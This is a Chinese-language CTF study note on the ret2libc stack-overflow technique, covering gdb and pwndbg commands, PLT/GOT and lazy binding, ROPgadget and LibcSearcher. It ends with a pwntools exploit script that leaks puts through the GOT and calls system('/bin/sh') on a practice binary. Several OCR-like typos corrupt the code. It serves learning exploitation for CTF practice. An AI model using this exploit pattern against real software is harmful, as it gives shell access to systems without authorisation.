PWN学习之ret2libc
PWN
跟着看雪的视频学习了一下。
https://m.weishi100.com/mweb/classroom/?id=141727
实例
编译好的程序下载:
https://www.lanzous.com/i9tkk7a
编译: gcc- no-pie - m32 -o ret21ibc3 ret2libc3.c
调试:
检查保护: checksek
-j 查找符号表
查找system函数的plt地址: objdump -d -j .plt ./ret2libc3 | grep system
查找bin_sh字符串地址: ROPgadget --binary . /ret2libc3 --string
PWN在做什么
明显的stack/heap/ int溢出,string format, off-by-one/UAF/house of XXX/ xxbin attack
抽象成:对内存地址的读/写
漏洞利用: shellcode/GOT/ vtable/hook_function/onegadget
如何解pwn题目
①检查程序基本信息(架构,位数,保护措施)
②逆向分析,定位漏洞点,程序逻辑比RB类题目简单
③构造发送payload,脚本与程序交互
④调试程序
工具: pwndbg, objdump
查看汇编代码
objdump -d -M intel ret2Libc3
objdump -d ret2Libc3 # 没有 -M为AT&T,一般用intel的
③gdb反汇编语法设置默认为AT&T语法改为Intel语法:
set disassembly-flavor intel > /. gdbinit
名词解释
exp:通常指漏洞利用的脚本
shellcode:指能打开shel l的-段代码通常用汇编编写
payload (有效载荷):漏洞利用过程中需要构造的攻击代码,shellcode 属于payload 的一部分
栈相关知识
8个通用寄存器eax,ebx,ecx,edx,edi,esi,esp,ebp寄存器可以简单的理解为高级语言中的变量
eax (累加器):默认保存着加法乘法结果函数返回值
esi/edi (源/目标索引寄存器):通常用于字符串操作esi保存着源字符串的首地址edi保存着目标字符
串的首地址
esp:扩展栈指针寄存器指向当前栈顶即保存着当前栈项的地址
ebp: (扩展基址指针寄存器)指向当前栈底即保存着当前栈底的地址
eip (指令指针寄存器):该寄存器存放着将要执行的代码的地址当一个程序开始运行时系统自动将eip清零每取入一条指令eip自动增加取入cpu的字节数在控制程序流程时控制eip寄存器的值显得尤为关键决定着是否可以驰骋内存。
还有个跟运算息息相关的EFLAGS标志寄存器这里面装着很多标志位标志着运算状态等信息。
几个重要的汇编指令
mov eax, ebx将ebx中的值复制给eax
add eax, ebx 将eax和ebx相加后的值传入eax中
sub eax, ebx 将eax和ebx相减后的值传入 eax中
lea eax, dword ptr ds:[ebx] 将ebx传给eax。dword ptr ds: [0x12345678]表示存储类型为dword
双字4个字节数据段偏移为0x12345678的内存区域[0x12345678]表示内存编号即地址为0X 12345678
mov eax, dwordptr ds:[ebx] 注意这里是将ebx代表的内存地址的中的内容传给eax 上一条指令是将这块内存区域的地址传给eax
xor eax. eax 寄存器清零
gdb的常用命令-1
-q参数不显示欢迎信息等
-n不加载任何插件,使用原生gdb
info后面跟上想要查看的信息,如函数信息inf 。funct ions
b/breakpoirt设置断点
del/ delete breakpoints n删除断点,n是断点编号,可用info breakpoint s命令查看断点信息
start命令启动程序并停在开辟完主函数栈帧的地方
c/ continue维续执行程序,遇到断点停下
f/finish 执行到返回
x/ run运行程序,遇到断点停下
ni单步步过,一步一步执行指令遇到画数调用时直接执行完整个函数
si单步步入,一步一步执行指令遇到函数调用时跳转到函数内部
gdb的常用命令-2
vmmap
查看内存映射
checksec查看程序的防护措施
pdisass/disassemble 查看当前函数帧的反汇编代码,前一个命令有高亮显示只是需要安装pwndbg插件,后面一个命令时gdb自带的命令无高亮显示
p/print打印信息,如寄存器p $ebp
x/<n/f/u>
set *addr = value 设置某个地址的值
i b 查看断点
d 1 删除1号断点
_start 是最新执行的,不是main,会在_start中call main
pwntools
P32加包,包成8位
U32解包
P32小端倒序,U32转成正向
python实例
payload = offset* 'a' + p32(puts_plt_addr) + p32(start_addr) + p32(puts_got_addr)
p32(start_addr)返回地址------让程序再次执行
= 填充值 + puts + 返回start + puts的got表地址 == 输出 puts 在got表延时绑定后已固定的 实际地址,然后返回start重新运行程序
pwngdb
disass main 反汇编main
b *0x08043618
下断点,进进制地址加*
b main 符号名不加星
mov DWWORD PTR [esp], 0x804870
call 0x804860 <puts@plt>
# puts要输入的上一行是参数,可用 x/s 0x804870 查看,是字符串
cyclic插件
cyclic 200 # 生成200字符比如 aabbcccdd
在输入的位置粘贴 aabbcccdd 回车
提示 invalid address 0x62616164
输入 cyclic -l 0x62616164 获得偏移量
计算一个那个地址下断点b *0x8048672,会提示是rt2libcGOT.c, GOT表
什么是栈溢出?
栈溢出其实就是指程序向变量中写入了超过自身实际大小的内容造成改变栈中相邻变量的值的情况。实现栈溢出要保证两个基本条件第一要程序必须向栈 上写入数据第二程序并未对输入内容的大小进行控制。
ret2.. .是什么意思?
在栈溢出的攻击技术中通常是要控制函数的返回地址到自己想要的地方执行自已想要执行的代码。
ret2. ..代表返回到. ..中即控制函数的返回地址到预先设定好的...区域中去执行...代码。
什么是ret2shellcode?
ret2shellcode其主要思想就是控制返回地址使其指向shellcode所在的区域。该技术能够成功的关
键点在于:
1、程序存在溢出,并且还要能够控制返回地址
2、程序运行时,shellcode 所在的区域要拥有执行权限 (禁用NX保护)
3、操作系统还需要关闭ASLR (地址空间布局随机化)保护。
什么是plt表和got表?
如果可执行文件中调用多个动态库函数,那每个函数都需要这两样东西,这样每样东西就形成一个表,每个函数使用中的一项。
总不能每次都叫这个表那个表,于是得正名。存放函数地址的数据表,称为全局偏移表或者全局函数表 (GOT, Global offset Table),而那个额外代码段表,称为程序链接表,也叫内部函数表(PLT, Procedure Link Table)。
延迟绑定技术
因为动态链接的程序是在运行时需要对全局和静态数据访问进行GOT定位,然后间接寻址。同样,对于模块间的调用也需要GOT定位,再才间接跳转,这么做势必会影响到程序的运行速度。而且程序在运行时很大一部分 函数都可能用不到,于是ELF采用了当函数第一次使用时才进行绑定的思想,也就是我们所说的延迟绑定。ELF实现延迟绑定是通过PLT,原先GOT中存放着全局变量和函数调用,现在把他拆成另个部分. got和. got.plt,用.got存放着全局变量引用,用. got. plt存放着函数引用。
查看test@plt代码,用objdump -Mintel -d -j .plt got
-Mintel选项指定intel 汇编语法
-d选项展示可执行文件节的汇编形式
-j选项后面跟上节名,指定节
什么是动态链接( Dynamic linking )
动态链接是指在程序装载时通过动态链接器将程序所需的所有动态链接库(Dynamic linking library)装载至进程空间中(程序按照模块拆分成各个相对独立的部分),当程序运行时才将他们链接在一起形成一个完整程序的过程。它诞生的最主要的的原因就是静态链接太过于浪费内存和磁盘的空间,并且现在的软件开发都是模块化开发,不同的模块都是由不同的厂家开发,在静态链接的情况下,一旦其中某模块发生改变就会导致整个软件都需要重新编译,而通过动态链接的方式就推迟这个链接过程到了程序运行时进行。
总而言之,动态链接的程序在运行时会根据自已所依赖的动态链接库,通过动态链接器将他们加载至内存中,并在此时将他们链接成一个完整的程序。Linux 系统中,ELF 动态链接文件被称为动态共享对象(Dynamic Shared objects),简称共享对象一般都是以“. so”为扩展名的文件;在windows系统中就是常常软件报错缺少xx. dll文件。
GOT (Global offset Table)表的由来
了解完动态链接,会有一个问题:共享对象在被装载时,如何确定其在内存中的地址?
下面简单的介绍-下:
要使共享对象能在任意地址装载就需要利用到装载时重定位的思想,即在链接时对所有的绝对地址的引用不做重定位而将这一步推迟到装载时再完成,一 旦装载模块确定, 系统就对 所有的绝对地址引用进行重定位。但是随之而来的问题是,指令部分无法在多个进程之间共享,这又产生了一个新的技术地址无关代码(PIC, Position-independent Code),该技术基本思想就是将指令中需要被修改的部分分离出来放在数据部分,这样就能保证指令部分不变且数据部分又可以在进程空间中保留一个副本,也就避免了不能节省空间的情况。
什么是ret2libc?
Libe: Lingx下的c函数库
ret2libc这种攻击方式主要是针对动态链接Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像systemO、exeeve)这种系统级函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式)。
因为程序是动态链接生成的,所以在程序运行时会调用libe. so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libe.so 就是其中最基本的一个),libe.so 是linux下C语言库中的运行库glibe的动态链接版,并且libe.so 中包含了大量的可以利用的函数,包括system()、exeeve()等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。
利用ret2libc的思路?
通常情况下,我们会选择执行system( “/bin/sh”)来打开shell,如此就只剩下两个问题:
1、找到system(函数的地址:
2、在内存中找到“/bin/sh” 这个字符串的地址。
一般来说pwn题的思路
1.没有NX保护,程序源码自带系统命令函数:直接覆盖返回地址即可
2.没有NX保护,可以我到system函数的plt的绝对地址:使用ret2text
3.没有NX保护,找不到system函数,利用输入函数,将shellcode写入到程序中: ret2shellcode
4.有NX保护,利用ROPGadget配 合int 0x80调用exeeve: ret2Syscall
5.有NX保护,利用Libe获取system函数的相对位置: ret2Libe
ROPgadget工具介绍
ROPgadget --binary ./ret2libc3 --only "pop | ret"
ROPgadget --binary ./ret2libc3 --only "pop | ret" | grep "eax”
ROPgadget --binary ./ret2libc3 --only ”pop | ret" | grep "ebx" | grep”ecx" | grep” edx"
ROPgadget --binary ./ret2libc3 --string "/bin/sh”
examples:
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --ropchain
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --depth 3
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --string "main"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --string "m..n"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --opcode c9c3
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --only "mov|ret"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --only "mov|pop |xor|ret"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --filter "xchg |add |sub"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux *x86 --norop --nosys
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --range 0x08041000-0x08042000
ROPgadget.py --binary ./test-suite-binarles/elf-Linux-x86 --string main -- range 6x080c93aa-0x080C9aba
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --memstr "/bin/sh"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux--x86 -- console
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --badbytes"00|7f|42"
RoPgadget.py --binary ./test-suite-binaries/Linux_lib64.so --offset oxdeadbeef00000000
ROPgadget.py --binary ./test-suite-binaries/elf-ARMv7-ls --depth 5
ROPgadget.py --binary ./test-suite-binaries/elf-ARM64-bash --depth 5
ROPgadget.py --binary ./test-suite-binaries/raw-x86.raw --rawArch=x86 --rawMode=32
溢出的思路
1、泄露一个ret2libc3函数的位置
2、获取libc的版本(只有被执行过的函数才能获取地址)
①https://libc.blukat.me②LibeSearcher: https://github.com/lieanu/LibcSearcher
3、根据偏移获取shell和sh的位置
①求libc基地址(函数动态地址一函数偏移量)
②求其他函数地址(基地址+函数偏移量)
4、执行程序获取shell
LibcSearcher的安装
这是针对CTF比赛所做的小工具,在泄露了Libc中的某一一个 函数地址后,常常为不知道对方所使用的操作系统及libc的版本而苦恼,常规方法就是挨个把常见的Libc.so从系统里拿出来,与泄露的地址对比一下最后12位。这里用了libc-database的数据库。
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
LibcSearcher的使用
如果遇到返回多个libc版本库的情况,可以通过add condition(leaked_ func, leaked address)来添加限制条件,也可以手工选择其中-一个libc版本(如果你确定的话)。
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如: d90), int类型
obj = LibcSearcher("fgets", 0x7ff39014bd90)
obj.dump("system") #system偏移
obj.dump("str_bin_sh") #/bin/sh偏移
obj.dump("_libc_start_main_ret")
Sript
from pwn import *
from Libcsearcher import Libcsearcher
context(arch="i386", os="linux", log_level="debug")
p=process("./ret2libc3")I
e=ELF("./ret2libc3")
puts_plt_addr=e.plt["puts"]
puts_got_addr=e.got["puts"]
start_addr=e.symbols["_start"]
offset=112
payload1=offset*'a'+p32(puts_plt_addr)+p32(start_addr)+p32(puts_got_addr)
p.sendlineafter("Can you find it !?", payload1)
puts_addr=u32(p.recv()[0:4])
libc=Libcsearcher("puts", puts_addr)
base_addr=puts_addr-libc.dump("puts")
system_addr=base_addr+1ibc.dump("system")
bin_sh_addr=base_addr+1ibc.dump("str_bin_sh")
payload2=offset*'a'+p32(system_addr)+p32(1)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()